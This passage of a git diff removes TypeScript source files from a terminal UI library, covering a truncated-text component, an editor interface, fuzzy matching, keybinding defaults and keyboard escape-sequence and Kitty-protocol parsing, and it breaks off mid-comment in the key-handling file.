- const line = this.customBgFn - ? applyBackgroundToLine(emptyLine, width, this.customBgFn) - : emptyLine; - emptyLines.push(line); - } - - const result = [...emptyLines, ...contentLines, ...emptyLines]; - - // Update cache - this.cachedText = this.text; - this.cachedWidth = width; - this.cachedLines = result; - - return result.length > 0 ? result : [""]; - } -} diff --git a/packages/pi-tui/src/components/truncated-text.ts b/packages/pi-tui/src/components/truncated-text.ts deleted file mode 100644 index 12eac558d..000000000 --- a/packages/pi-tui/src/components/truncated-text.ts +++ /dev/null @@ -1,65 +0,0 @@ -import type { Component } from "../tui.js"; -import { truncateToWidth, visibleWidth } from "../utils.js"; - -/** - * Text component that truncates to fit viewport width - */ -export class TruncatedText implements Component { - private text: string; - private paddingX: number; - private paddingY: number; - - constructor(text: string, paddingX: number = 0, paddingY: number = 0) { - this.text = text; - this.paddingX = paddingX; - this.paddingY = paddingY; - } - - invalidate(): void { - // No cached state to invalidate currently - } - - render(width: number): string[] { - const result: string[] = []; - - // Empty line padded to width - const emptyLine = " ".repeat(width); - - // Add vertical padding above - for (let i = 0; i < this.paddingY; i++) { - result.push(emptyLine); - } - - // Calculate available width after horizontal padding - const availableWidth = Math.max(1, width - this.paddingX * 2); - - // Take only the first line (stop at newline) - let singleLineText = this.text; - const newlineIndex = this.text.indexOf("\n"); - if (newlineIndex !== -1) { - singleLineText = this.text.substring(0, newlineIndex); - } - - // Truncate text if needed (accounting for ANSI codes) - const displayText = truncateToWidth(singleLineText, availableWidth); - - // Add horizontal padding - const leftPadding = " ".repeat(this.paddingX); - const rightPadding = " ".repeat(this.paddingX); - const lineWithPadding = leftPadding + displayText + rightPadding; - - // Pad line to exactly width characters - const lineVisibleWidth = visibleWidth(lineWithPadding); - const paddingNeeded = Math.max(0, width - lineVisibleWidth); - const finalLine = lineWithPadding + " ".repeat(paddingNeeded); - - result.push(finalLine); - - // Add vertical padding below - for (let i = 0; i < this.paddingY; i++) { - result.push(emptyLine); - } - - return result; - } -} diff --git a/packages/pi-tui/src/editor-component.ts b/packages/pi-tui/src/editor-component.ts deleted file mode 100644 index c6b6c43da..000000000 --- a/packages/pi-tui/src/editor-component.ts +++ /dev/null @@ -1,74 +0,0 @@ -import type { AutocompleteProvider } from "./autocomplete.js"; -import type { Component } from "./tui.js"; - -/** - * Interface for custom editor components. - * - * This allows extensions to provide their own editor implementation - * (e.g., vim mode, emacs mode, custom keybindings) while maintaining - * compatibility with the core application. - */ -export interface EditorComponent extends Component { - // ========================================================================= - // Core text access (required) - // ========================================================================= - - /** Get the current text content */ - getText(): string; - - /** Set the text content */ - setText(text: string): void; - - /** Handle raw terminal input (key presses, paste sequences, etc.) */ - handleInput(data: string): void; - - // ========================================================================= - // Callbacks (required) - // ========================================================================= - - /** Called when user submits (e.g., Enter key) */ - onSubmit?: (text: string) => void; - - /** Called when text changes */ - onChange?: (text: string) => void; - - // ========================================================================= - // History support (optional) - // ========================================================================= - - /** Add text to history for up/down navigation */ - addToHistory?(text: string): void; - - // ========================================================================= - // Advanced text manipulation (optional) - // ========================================================================= - - /** Insert text at current cursor position */ - insertTextAtCursor?(text: string): void; - - /** - * Get text with any markers expanded (e.g., paste markers). - * Falls back to getText() if not implemented. - */ - getExpandedText?(): string; - - // ========================================================================= - // Autocomplete support (optional) - // ========================================================================= - - /** Set the autocomplete provider */ - setAutocompleteProvider?(provider: AutocompleteProvider): void; - - // ========================================================================= - // Appearance (optional) - // ========================================================================= - - /** Border color function */ - borderColor?: (str: string) => string; - - /** Set horizontal padding */ - setPaddingX?(padding: number): void; - - /** Set max visible items in autocomplete dropdown */ - setAutocompleteMaxVisible?(maxVisible: number): void; -} diff --git a/packages/pi-tui/src/fuzzy.ts b/packages/pi-tui/src/fuzzy.ts deleted file mode 100644 index 058ec6a84..000000000 --- a/packages/pi-tui/src/fuzzy.ts +++ /dev/null @@ -1,145 +0,0 @@ -/** - * Fuzzy matching utilities. - * Matches if all query characters appear in order (not necessarily consecutive). - * Lower score = better match. - */ - -export interface FuzzyMatch { - matches: boolean; - score: number; -} - -export function fuzzyMatch(query: string, text: string): FuzzyMatch { - const queryLower = query.toLowerCase(); - const textLower = text.toLowerCase(); - - const matchQuery = (normalizedQuery: string): FuzzyMatch => { - if (normalizedQuery.length === 0) { - return { matches: true, score: 0 }; - } - - if (normalizedQuery.length > textLower.length) { - return { matches: false, score: 0 }; - } - - let queryIndex = 0; - let score = 0; - let lastMatchIndex = -1; - let consecutiveMatches = 0; - - for ( - let i = 0; - i < textLower.length && queryIndex < normalizedQuery.length; - i++ - ) { - if (textLower[i] === normalizedQuery[queryIndex]) { - const isWordBoundary = i === 0 || /[\s\-_./:]/.test(textLower[i - 1]!); - - // Reward consecutive matches - if (lastMatchIndex === i - 1) { - consecutiveMatches++; - score -= consecutiveMatches * 5; - } else { - consecutiveMatches = 0; - // Penalize gaps - if (lastMatchIndex >= 0) { - score += (i - lastMatchIndex - 1) * 2; - } - } - - // Reward word boundary matches - if (isWordBoundary) { - score -= 10; - } - - // Slight penalty for later matches - score += i * 0.1; - - lastMatchIndex = i; - queryIndex++; - } - } - - if (queryIndex < normalizedQuery.length) { - return { matches: false, score: 0 }; - } - - return { matches: true, score }; - }; - - const primaryMatch = matchQuery(queryLower); - if (primaryMatch.matches) { - return primaryMatch; - } - - const alphaNumericMatch = queryLower.match( - /^(?[a-z]+)(?[0-9]+)$/, - ); - const numericAlphaMatch = queryLower.match( - /^(?[0-9]+)(?[a-z]+)$/, - ); - const swappedQuery = alphaNumericMatch - ? `${alphaNumericMatch.groups?.digits ?? ""}${alphaNumericMatch.groups?.letters ?? ""}` - : numericAlphaMatch - ? `${numericAlphaMatch.groups?.letters ?? ""}${numericAlphaMatch.groups?.digits ?? ""}` - : ""; - - if (!swappedQuery) { - return primaryMatch; - } - - const swappedMatch = matchQuery(swappedQuery); - if (!swappedMatch.matches) { - return primaryMatch; - } - - return { matches: true, score: swappedMatch.score + 5 }; -} - -/** - * Filter and sort items by fuzzy match quality (best matches first). - * Supports space-separated tokens: all tokens must match. - */ -export function fuzzyFilter( - items: T[], - query: string, - getText: (item: T) => string, -): T[] { - if (!query.trim()) { - return items; - } - - const tokens = query - .trim() - .split(/\s+/) - .filter((t) => t.length > 0); - - if (tokens.length === 0) { - return items; - } - - const results: { item: T; totalScore: number }[] = []; - - for (const item of items) { - const text = getText(item); - let totalScore = 0; - let allMatch = true; - - for (const token of tokens) { - const match = fuzzyMatch(token, text); - if (match.matches) { - totalScore += match.score; - } else { - allMatch = false; - break; - } - } - - if (allMatch) { - results.push({ item, totalScore }); - } - } - - results.sort((a, b) => a.totalScore - b.totalScore); - return results.map((r) => r.item); -} diff --git a/packages/pi-tui/src/index.ts b/packages/pi-tui/src/index.ts deleted file mode 100644 index 97a1d9b3a..000000000 --- a/packages/pi-tui/src/index.ts +++ /dev/null @@ -1,113 +0,0 @@ -// Core TUI interfaces and classes - -// Autocomplete support -export { - type AutocompleteItem, - type AutocompleteProvider, - CombinedAutocompleteProvider, - type SlashCommand, -} from "./autocomplete.js"; -// Components -export { Box } from "./components/box.js"; -export { CancellableLoader } from "./components/cancellable-loader.js"; -export { - Editor, - type EditorOptions, - type EditorTheme, -} from "./components/editor.js"; -export { - Image, - type ImageOptions, - type ImageTheme, -} from "./components/image.js"; -export { Input } from "./components/input.js"; -export { Loader } from "./components/loader.js"; -export { - type DefaultTextStyle, - Markdown, - type MarkdownTheme, -} from "./components/markdown.js"; -export { - type SelectItem, - SelectList, - type SelectListTheme, -} from "./components/select-list.js"; -export { - type SettingItem, - SettingsList, - type SettingsListTheme, -} from "./components/settings-list.js"; -export { Spacer } from "./components/spacer.js"; -export { Text } from "./components/text.js"; -export { TruncatedText } from "./components/truncated-text.js"; -// Editor component interface (for custom editors) -export type { EditorComponent } from "./editor-component.js"; -// Fuzzy matching -export { type FuzzyMatch, fuzzyFilter, fuzzyMatch } from "./fuzzy.js"; -// Keybindings -export { - DEFAULT_EDITOR_KEYBINDINGS, - type EditorAction, - type EditorKeybindingsConfig, - EditorKeybindingsManager, - getEditorKeybindings, - setEditorKeybindings, -} from "./keybindings.js"; -// Keyboard input handling -export { - decodeKittyPrintable, - isKeyRelease, - isKeyRepeat, - isKittyProtocolActive, - Key, - type KeyEventType, - type KeyId, - matchesKey, - parseKey, - setKittyProtocolActive, -} from "./keys.js"; -// Input buffering for batch splitting -export { - StdinBuffer, - type StdinBufferEventMap, - type StdinBufferOptions, -} from "./stdin-buffer.js"; -// Terminal interface and implementations -export { ProcessTerminal, type Terminal } from "./terminal.js"; -// Terminal image support -export { - allocateImageId, - type CellDimensions, - calculateImageRows, - deleteAllKittyImages, - deleteKittyImage, - detectCapabilities, - encodeITerm2, - encodeKitty, - getCapabilities, - getCellDimensions, - getImageDimensions, - type ImageDimensions, - type ImageProtocol, - type ImageRenderOptions, - imageFallback, - renderImage, - resetCapabilitiesCache, - setCellDimensions, - type TerminalCapabilities, -} from "./terminal-image.js"; -export { - type Component, - Container, - CURSOR_MARKER, - type Focusable, - isFocusable, - type OverlayAnchor, - type OverlayHandle, - type OverlayMargin, - type OverlayOptions, - type SizeValue, - TUI, -} from "./tui.js"; -// Utilities -export { truncateToWidth, visibleWidth, wrapTextWithAnsi } from "./utils.js"; diff --git a/packages/pi-tui/src/keybindings.ts b/packages/pi-tui/src/keybindings.ts deleted file mode 100644 index cafc9e235..000000000 --- a/packages/pi-tui/src/keybindings.ts +++ /dev/null @@ -1,189 +0,0 @@ -import { type KeyId, matchesKey } from "./keys.js"; - -/** - * Editor actions that can be bound to keys. - */ -export type EditorAction = - // Cursor movement - | "cursorUp" - | "cursorDown" - | "cursorLeft" - | "cursorRight" - | "cursorWordLeft" - | "cursorWordRight" - | "cursorLineStart" - | "cursorLineEnd" - | "jumpForward" - | "jumpBackward" - | "pageUp" - | "pageDown" - // Deletion - | "deleteCharBackward" - | "deleteCharForward" - | "deleteWordBackward" - | "deleteWordForward" - | "deleteToLineStart" - | "deleteToLineEnd" - // Text input - | "newLine" - | "submit" - | "tab" - // Selection/autocomplete - | "selectUp" - | "selectDown" - | "selectPageUp" - | "selectPageDown" - | "selectConfirm" - | "selectCancel" - // Clipboard - | "copy" - // Kill ring - | "yank" - | "yankPop" - // Undo - | "undo" - // Tool output - | "expandTools" - // Tree navigation - | "treeFoldOrUp" - | "treeUnfoldOrDown" - // Session - | "toggleSessionPath" - | "toggleSessionSort" - | "renameSession" - | "deleteSession" - | "deleteSessionNoninvasive"; - -// Re-export KeyId from keys.ts -export type { KeyId }; - -/** - * Editor keybindings configuration. - */ -export type EditorKeybindingsConfig = { - [K in EditorAction]?: KeyId | KeyId[]; -}; - -/** - * Default editor keybindings. - */ -export const DEFAULT_EDITOR_KEYBINDINGS: Required = { - // Cursor movement - cursorUp: "up", - cursorDown: "down", - cursorLeft: ["left", "ctrl+b"], - cursorRight: ["right", "ctrl+f"], - cursorWordLeft: ["alt+left", "ctrl+left", "alt+b"], - cursorWordRight: ["alt+right", "ctrl+right", "alt+f"], - cursorLineStart: ["home", "ctrl+a"], - cursorLineEnd: ["end", "ctrl+e"], - jumpForward: "ctrl+]", - jumpBackward: "ctrl+alt+]", - pageUp: "pageUp", - pageDown: "pageDown", - // Deletion - deleteCharBackward: "backspace", - deleteCharForward: ["delete", "ctrl+d"], - deleteWordBackward: ["ctrl+w", "alt+backspace"], - deleteWordForward: ["alt+d", "alt+delete"], - deleteToLineStart: "ctrl+u", - deleteToLineEnd: "ctrl+k", - // Text input - newLine: "shift+enter", - submit: "enter", - tab: "tab", - // Selection/autocomplete - selectUp: "up", - selectDown: "down", - selectPageUp: "pageUp", - selectPageDown: "pageDown", - selectConfirm: "enter", - selectCancel: ["escape", "ctrl+c"], - // Clipboard - copy: "ctrl+c", - // Kill ring - yank: "ctrl+y", - yankPop: "alt+y", - // Undo - undo: "ctrl+-", - // Tool output - expandTools: "ctrl+o", - // Tree navigation - treeFoldOrUp: ["ctrl+left", "alt+left"], - treeUnfoldOrDown: ["ctrl+right", "alt+right"], - // Session - toggleSessionPath: "ctrl+p", - toggleSessionSort: "ctrl+s", - renameSession: "ctrl+r", - deleteSession: "ctrl+d", - deleteSessionNoninvasive: "ctrl+backspace", -}; - -/** - * Manages keybindings for the editor. - */ -export class EditorKeybindingsManager { - private actionToKeys: Map; - - constructor(config: EditorKeybindingsConfig = {}) { - this.actionToKeys = new Map(); - this.buildMaps(config); - } - - private buildMaps(config: EditorKeybindingsConfig): void { - this.actionToKeys.clear(); - - // Start with defaults - for (const [action, keys] of Object.entries(DEFAULT_EDITOR_KEYBINDINGS)) { - const keyArray = Array.isArray(keys) ? keys : [keys]; - this.actionToKeys.set(action as EditorAction, [...keyArray]); - } - - // Override with user config - for (const [action, keys] of Object.entries(config)) { - if (keys === undefined) continue; - const keyArray = Array.isArray(keys) ? keys : [keys]; - this.actionToKeys.set(action as EditorAction, keyArray); - } - } - - /** - * Check if input matches a specific action. - */ - matches(data: string, action: EditorAction): boolean { - const keys = this.actionToKeys.get(action); - if (!keys) return false; - for (const key of keys) { - if (matchesKey(data, key)) return true; - } - return false; - } - - /** - * Get keys bound to an action. - */ - getKeys(action: EditorAction): KeyId[] { - return this.actionToKeys.get(action) ?? []; - } - - /** - * Update configuration. - */ - setConfig(config: EditorKeybindingsConfig): void { - this.buildMaps(config); - } -} - -// Global instance -let globalEditorKeybindings: EditorKeybindingsManager | null = null; - -export function getEditorKeybindings(): EditorKeybindingsManager { - if (!globalEditorKeybindings) { - globalEditorKeybindings = new EditorKeybindingsManager(); - } - return globalEditorKeybindings; -} - -export function setEditorKeybindings(manager: EditorKeybindingsManager): void { - globalEditorKeybindings = manager; -} diff --git a/packages/pi-tui/src/keys.ts b/packages/pi-tui/src/keys.ts deleted file mode 100644 index d34cd685f..000000000 --- a/packages/pi-tui/src/keys.ts +++ /dev/null @@ -1,1356 +0,0 @@ -/** - * Keyboard input handling for terminal applications. - * - * Supports both legacy terminal sequences and Kitty keyboard protocol. - * See: https://sw.kovidgoyal.net/kitty/keyboard-protocol/ - * Reference: https://github.com/sst/opentui/blob/7da92b4088aebfe27b9f691c04163a48821e49fd/packages/core/src/lib/parse.keypress.ts - * - * Symbol keys are also supported, however some ctrl+symbol combos - * overlap with ASCII codes, e.g. ctrl+[ = ESC. - * See: https://sw.kovidgoyal.net/kitty/keyboard-protocol/#legacy-ctrl-mapping-of-ascii-keys - * Those can still be * used for ctrl+shift combos - * - * API: - * - matchesKey(data, keyId) - Check if input matches a key identifier - * - parseKey(data) - Parse input and return the key identifier - * - Key - Helper object for creating typed key identifiers - * - setKittyProtocolActive(active) - Set global Kitty protocol state - * - isKittyProtocolActive() - Query global Kitty protocol state - */ - -// ============================================================================= -// Global Kitty Protocol State -// ============================================================================= - -let _kittyProtocolActive = false; - -/** - * Set the global Kitty keyboard protocol state. - * Called by ProcessTerminal after detecting protocol support. - */ -export function setKittyProtocolActive(active: boolean): void { - _kittyProtocolActive = active; -} - -/** - * Query whether Kitty keyboard protocol is currently active. - */ -export function isKittyProtocolActive(): boolean { - return _kittyProtocolActive; -} - -// ============================================================================= -// Type-Safe Key Identifiers -// ============================================================================= - -type Letter = - | "a" - | "b" - | "c" - | "d" - | "e" - | "f" - | "g" - | "h" - | "i" - | "j" - | "k" - | "l" - | "m" - | "n" - | "o" - | "p" - | "q" - | "r" - | "s" - | "t" - | "u" - | "v" - | "w" - | "x" - | "y" - | "z"; - -type Digit = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9"; - -type SymbolKey = - | "`" - | "-" - | "=" - | "[" - | "]" - | "\\" - | ";" - | "'" - | "," - | "." - | "/" - | "!" - | "@" - | "#" - | "$" - | "%" - | "^" - | "&" - | "*" - | "(" - | ")" - | "_" - | "+" - | "|" - | "~" - | "{" - | "}" - | ":" - | "<" - | ">" - | "?"; - -type SpecialKey = - | "escape" - | "esc" - | "enter" - | "return" - | "tab" - | "space" - | "backspace" - | "delete" - | "insert" - | "clear" - | "home" - | "end" - | "pageUp" - | "pageDown" - | "up" - | "down" - | "left" - | "right" - | "f1" - | "f2" - | "f3" - | "f4" - | "f5" - | "f6" - | "f7" - | "f8" - | "f9" - | "f10" - | "f11" - | "f12"; - -type BaseKey = Letter | Digit | SymbolKey | SpecialKey; - -/** - * Union type of all valid key identifiers. - * Provides autocomplete and catches typos at compile time. - */ -export type KeyId = - | BaseKey - | `ctrl+${BaseKey}` - | `shift+${BaseKey}` - | `alt+${BaseKey}` - | `ctrl+shift+${BaseKey}` - | `shift+ctrl+${BaseKey}` - | `ctrl+alt+${BaseKey}` - | `alt+ctrl+${BaseKey}` - | `shift+alt+${BaseKey}` - | `alt+shift+${BaseKey}` - | `ctrl+shift+alt+${BaseKey}` - | `ctrl+alt+shift+${BaseKey}` - | `shift+ctrl+alt+${BaseKey}` - | `shift+alt+ctrl+${BaseKey}` - | `alt+ctrl+shift+${BaseKey}` - | `alt+shift+ctrl+${BaseKey}`; - -/** - * Helper object for creating typed key identifiers with autocomplete. - * - * Usage: - * - Key.escape, Key.enter, Key.tab, etc. for special keys - * - Key.backtick, Key.comma, Key.period, etc. for symbol keys - * - Key.ctrl("c"), Key.alt("x") for single modifier - * - Key.ctrlShift("p"), Key.ctrlAlt("x") for combined modifiers - */ -export const Key = { - // Special keys - escape: "escape" as const, - esc: "esc" as const, - enter: "enter" as const, - return: "return" as const, - tab: "tab" as const, - space: "space" as const, - backspace: "backspace" as const, - delete: "delete" as const, - insert: "insert" as const, - clear: "clear" as const, - home: "home" as const, - end: "end" as const, - pageUp: "pageUp" as const, - pageDown: "pageDown" as const, - up: "up" as const, - down: "down" as const, - left: "left" as const, - right: "right" as const, - f1: "f1" as const, - f2: "f2" as const, - f3: "f3" as const, - f4: "f4" as const, - f5: "f5" as const, - f6: "f6" as const, - f7: "f7" as const, - f8: "f8" as const, - f9: "f9" as const, - f10: "f10" as const, - f11: "f11" as const, - f12: "f12" as const, - - // Symbol keys - backtick: "`" as const, - hyphen: "-" as const, - equals: "=" as const, - leftbracket: "[" as const, - rightbracket: "]" as const, - backslash: "\\" as const, - semicolon: ";" as const, - quote: "'" as const, - comma: "," as const, - period: "." as const, - slash: "/" as const, - exclamation: "!" as const, - at: "@" as const, - hash: "#" as const, - dollar: "$" as const, - percent: "%" as const, - caret: "^" as const, - ampersand: "&" as const, - asterisk: "*" as const, - leftparen: "(" as const, - rightparen: ")" as const, - underscore: "_" as const, - plus: "+" as const, - pipe: "|" as const, - tilde: "~" as const, - leftbrace: "{" as const, - rightbrace: "}" as const, - colon: ":" as const, - lessthan: "<" as const, - greaterthan: ">" as const, - question: "?" as const, - - // Single modifiers - ctrl: (key: K): `ctrl+${K}` => `ctrl+${key}`, - shift: (key: K): `shift+${K}` => `shift+${key}`, - alt: (key: K): `alt+${K}` => `alt+${key}`, - - // Combined modifiers - ctrlShift: (key: K): `ctrl+shift+${K}` => - `ctrl+shift+${key}`, - shiftCtrl: (key: K): `shift+ctrl+${K}` => - `shift+ctrl+${key}`, - ctrlAlt: (key: K): `ctrl+alt+${K}` => `ctrl+alt+${key}`, - altCtrl: (key: K): `alt+ctrl+${K}` => `alt+ctrl+${key}`, - shiftAlt: (key: K): `shift+alt+${K}` => `shift+alt+${key}`, - altShift: (key: K): `alt+shift+${K}` => `alt+shift+${key}`, - - // Triple modifiers - ctrlShiftAlt: (key: K): `ctrl+shift+alt+${K}` => - `ctrl+shift+alt+${key}`, -} as const; - -// ============================================================================= -// Constants -// ============================================================================= - -const SYMBOL_KEYS = new Set([ - "`", - "-", - "=", - "[", - "]", - "\\", - ";", - "'", - ",", - ".", - "/", - "!", - "@", - "#", - "$", - "%", - "^", - "&", - "*", - "(", - ")", - "_", - "+", - "|", - "~", - "{", - "}", - ":", - "<", - ">", - "?", -]); - -const MODIFIERS = { - shift: 1, - alt: 2, - ctrl: 4, -} as const; - -const LOCK_MASK = 64 + 128; // Caps Lock + Num Lock - -const CODEPOINTS = { - escape: 27, - tab: 9, - enter: 13, - space: 32, - backspace: 127, - kpEnter: 57414, // Numpad Enter (Kitty protocol) -} as const; - -const KITTY_PRIVATE_USE_RANGE = { start: 57344, end: 63743 } as const; - -const KITTY_KEYPAD_PRINTABLES = new Map([ - [57399, "0"], // KP_0 - [57400, "1"], // KP_1 - [57401, "2"], // KP_2 - [57402, "3"], // KP_3 - [57403, "4"], // KP_4 - [57404, "5"], // KP_5 - [57405, "6"], // KP_6 - [57406, "7"], // KP_7 - [57407, "8"], // KP_8 - [57408, "9"], // KP_9 - [57409, "."], // KP_DECIMAL - [57410, "/"], // KP_DIVIDE - [57411, "*"], // KP_MULTIPLY - [57412, "-"], // KP_SUBTRACT - [57413, "+"], // KP_ADD - [57415, "="], // KP_EQUAL - [57416, ","], // KP_SEPARATOR -]); - -const ARROW_CODEPOINTS = { - up: -1, - down: -2, - right: -3, - left: -4, -} as const; - -const FUNCTIONAL_CODEPOINTS = { - delete: -10, - insert: -11, - pageUp: -12, - pageDown: -13, - home: -14, - end: -15, -} as const; - -/** - * Consolidated legacy terminal key sequences. - * Each key maps to its sequences for unmodified, shift-modified, and ctrl-modified variants. - * This single structure replaces three separate maps (LEGACY_KEY_SEQUENCES, - * LEGACY_SHIFT_SEQUENCES, LEGACY_CTRL_SEQUENCES) that shared the same key sets. - */ -const LEGACY_SEQUENCES: Record< - string, - { - plain?: readonly string[]; - shift?: readonly string[]; - ctrl?: readonly string[]; - } -> = { - up: { plain: ["\x1b[A", "\x1bOA"], shift: ["\x1b[a"], ctrl: ["\x1bOa"] }, - down: { plain: ["\x1b[B", "\x1bOB"], shift: ["\x1b[b"], ctrl: ["\x1bOb"] }, - right: { plain: ["\x1b[C", "\x1bOC"], shift: ["\x1b[c"], ctrl: ["\x1bOc"] }, - left: { plain: ["\x1b[D", "\x1bOD"], shift: ["\x1b[d"], ctrl: ["\x1bOd"] }, - home: { - plain: ["\x1b[H", "\x1bOH", "\x1b[1~", "\x1b[7~"], - shift: ["\x1b[7$"], - ctrl: ["\x1b[7^"], - }, - end: { - plain: ["\x1b[F", "\x1bOF", "\x1b[4~", "\x1b[8~"], - shift: ["\x1b[8$"], - ctrl: ["\x1b[8^"], - }, - insert: { plain: ["\x1b[2~"], shift: ["\x1b[2$"], ctrl: ["\x1b[2^"] }, - delete: { plain: ["\x1b[3~"], shift: ["\x1b[3$"], ctrl: ["\x1b[3^"] }, - pageUp: { - plain: ["\x1b[5~", "\x1b[[5~"], - shift: ["\x1b[5$"], - ctrl: ["\x1b[5^"], - }, - pageDown: { - plain: ["\x1b[6~", "\x1b[[6~"], - shift: ["\x1b[6$"], - ctrl: ["\x1b[6^"], - }, - clear: { plain: ["\x1b[E", "\x1bOE"], shift: ["\x1b[e"], ctrl: ["\x1bOe"] }, - f1: { plain: ["\x1bOP", "\x1b[11~", "\x1b[[A"] }, - f2: { plain: ["\x1bOQ", "\x1b[12~", "\x1b[[B"] }, - f3: { plain: ["\x1bOR", "\x1b[13~", "\x1b[[C"] }, - f4: { plain: ["\x1bOS", "\x1b[14~", "\x1b[[D"] }, - f5: { plain: ["\x1b[15~", "\x1b[[E"] }, - f6: { plain: ["\x1b[17~"] }, - f7: { plain: ["\x1b[18~"] }, - f8: { plain: ["\x1b[19~"] }, - f9: { plain: ["\x1b[20~"] }, - f10: { plain: ["\x1b[21~"] }, - f11: { plain: ["\x1b[23~"] }, - f12: { plain: ["\x1b[24~"] }, -} as const; - -/** - * Reverse lookup from escape sequence to key identifier, auto-generated from LEGACY_SEQUENCES. - * Additional non-standard sequences (alt+arrow aliases) are appended after generation. - */ -const LEGACY_SEQUENCE_KEY_IDS: Record = (() => { - const map: Record = {}; - for (const [key, entry] of Object.entries(LEGACY_SEQUENCES)) { - const keyId = key as KeyId; - if (entry.plain) { - for (const seq of entry.plain) map[seq] = keyId; - } - if (entry.shift) { - for (const seq of entry.shift) map[seq] = `shift+${keyId}` as KeyId; - } - if (entry.ctrl) { - for (const seq of entry.ctrl) map[seq] = `ctrl+${keyId}` as KeyId; - } - } - // Non-standard alt+arrow aliases not derivable from the table - map["\x1bb"] = "alt+left"; - map["\x1bf"] = "alt+right"; - map["\x1bp"] = "alt+up"; - map["\x1bn"] = "alt+down"; - return map; -})(); - -const matchesLegacySequence = ( - data: string, - sequences: readonly string[], -): boolean => sequences.includes(data); - -const matchesLegacyModifierSequence = ( - data: string, - key: string, - modifier: number, -): boolean => { - const entry = LEGACY_SEQUENCES[key]; - if (!entry) return false; - if (modifier === MODIFIERS.shift && entry.shift) { - return matchesLegacySequence(data, entry.shift); - } - if (modifier === MODIFIERS.ctrl && entry.ctrl) { - return matchesLegacySequence(data, entry.ctrl); - } - return false; -}; - -// ============================================================================= -// Kitty Protocol Parsing -// ============================================================================= - -/** - * Event types from Kitty keyboard protocol (flag 2) - * 1 = key press, 2 = key repeat, 3 = key release - */ -export type KeyEventType = "press" | "repeat" | "release"; - -interface ParsedKittySequence { - codepoint: number; - shiftedKey?: number; // Shifted version of the key (when shift is pressed) - baseLayoutKey?: number; // Key in standard PC-101 layout (for non-Latin layouts) - modifier: number; - eventType: KeyEventType; -} - -interface ParsedModifyOtherKeysSequence { - codepoint: number; - modifier: number; -} - -// Store the last parsed event type for isKeyRelease() to query -let _lastEventType: KeyEventType = "press"; - -/** - * Check if input data contains a Kitty event type marker. - * Event type markers appear as ":" followed by a sequence terminator (u, ~, A-D, H, F). - * Ignores bracketed paste content which may contain similar patterns. - */ -function hasKittyEventType(data: string, eventType: number): boolean { - if (data.includes("\x1b[200~")) { - return false; - } - const marker = `:${eventType}`; - return ( - data.includes(`${marker}u`) || - data.includes(`${marker}~`) || - data.includes(`${marker}A`) || - data.includes(`${marker}B`) || - data.includes(`${marker}C`) || - data.includes(`${marker}D`) || - data.includes(`${marker}H`) || - data.includes(`${marker}F`) - ); -} - -export function isKeyRelease(data: string): boolean { - return hasKittyEventType(data, 3); -} - -/** - * Check if the last parsed key event was a key repeat. - * Only meaningful when Kitty keyboard protocol with flag 2 is active. - */ -export function isKeyRepeat(data: string): boolean { - return hasKittyEventType(data, 2); -} - -function parseEventType(eventTypeStr: string | undefined): KeyEventType { - if (!eventTypeStr) return "press"; - const eventType = parseInt(eventTypeStr, 10); - if (eventType === 2) return "repeat"; - if (eventType === 3) return "release"; - return "press"; -} - -function parseKittySequence(data: string): ParsedKittySequence | null { - // CSI u format with alternate keys (flag 4): - // \x1b[u - // \x1b[;u - // \x1b[;:u - // \x1b[:;u - // \x1b[::;u - // \x1b[::;u (no shifted key, only base) - // - // With flag 2, event type is appended after modifier colon: 1=press, 2=repeat, 3=release - // With flag 4, alternate keys are appended after codepoint with colons - const csiUMatch = data.match( - /^\x1b\[(\d+)(?::(\d*))?(?::(\d+))?(?:;(\d+))?(?::(\d+))?u$/, - ); - if (csiUMatch) { - const codepoint = parseInt(csiUMatch[1]!, 10); - const shiftedKey = - csiUMatch[2] && csiUMatch[2].length > 0 - ? parseInt(csiUMatch[2], 10) - : undefined; - const baseLayoutKey = csiUMatch[3] ? parseInt(csiUMatch[3], 10) : undefined; - const modValue = csiUMatch[4] ? parseInt(csiUMatch[4], 10) : 1; - const eventType = parseEventType(csiUMatch[5]); - _lastEventType = eventType; - return { - codepoint, - shiftedKey, - baseLayoutKey, - modifier: modValue - 1, - eventType, - }; - } - - // Arrow keys with modifier: \x1b[1;A/B/C/D or \x1b[1;:A/B/C/D - const arrowMatch = data.match(/^\x1b\[1;(\d+)(?::(\d+))?([ABCD])$/); - if (arrowMatch) { - const modValue = parseInt(arrowMatch[1]!, 10); - const eventType = parseEventType(arrowMatch[2]); - const arrowCodes: Record = { A: -1, B: -2, C: -3, D: -4 }; - _lastEventType = eventType; - return { - codepoint: arrowCodes[arrowMatch[3]!]!, - modifier: modValue - 1, - eventType, - }; - } - - // Functional keys: \x1b[~ or \x1b[;~ or \x1b[;:~ - const funcMatch = data.match(/^\x1b\[(\d+)(?:;(\d+))?(?::(\d+))?~$/); - if (funcMatch) { - const keyNum = parseInt(funcMatch[1]!, 10); - const modValue = funcMatch[2] ? parseInt(funcMatch[2], 10) : 1; - const eventType = parseEventType(funcMatch[3]); - const funcCodes: Record = { - 2: FUNCTIONAL_CODEPOINTS.insert, - 3: FUNCTIONAL_CODEPOINTS.delete, - 5: FUNCTIONAL_CODEPOINTS.pageUp, - 6: FUNCTIONAL_CODEPOINTS.pageDown, - 7: FUNCTIONAL_CODEPOINTS.home, - 8: FUNCTIONAL_CODEPOINTS.end, - }; - const codepoint = funcCodes[keyNum]; - if (codepoint !== undefined) { - _lastEventType = eventType; - return { codepoint, modifier: modValue - 1, eventType }; - } - } - - // Home/End with modifier: \x1b[1;H/F or \x1b[1;:H/F - const homeEndMatch = data.match(/^\x1b\[1;(\d+)(?::(\d+))?([HF])$/); - if (homeEndMatch) { - const modValue = parseInt(homeEndMatch[1]!, 10); - const eventType = parseEventType(homeEndMatch[2]); - const codepoint = - homeEndMatch[3] === "H" - ? FUNCTIONAL_CODEPOINTS.home - : FUNCTIONAL_CODEPOINTS.end; - _lastEventType = eventType; - return { codepoint, modifier: modValue - 1, eventType }; - } - - return null; -} - -function matchesKittySequence( - data: string, - expectedCodepoint: number, - expectedModifier: number, -): boolean { - const parsed = parseKittySequence(data); - if (!parsed) return false; - const actualMod = parsed.modifier & ~LOCK_MASK; - const expectedMod = expectedModifier & ~LOCK_MASK; - - // Check if modifiers match - if (actualMod !== expectedMod) return false; - - // Primary match: codepoint matches directly - if (parsed.codepoint === expectedCodepoint) return true; - - // Alternate match: use base layout key for non-Latin keyboard layouts. - // This allows Ctrl+С (Cyrillic) to match Ctrl+c (Latin) when terminal reports - // the base layout key (the key in standard PC-101 layout). - // - // Only 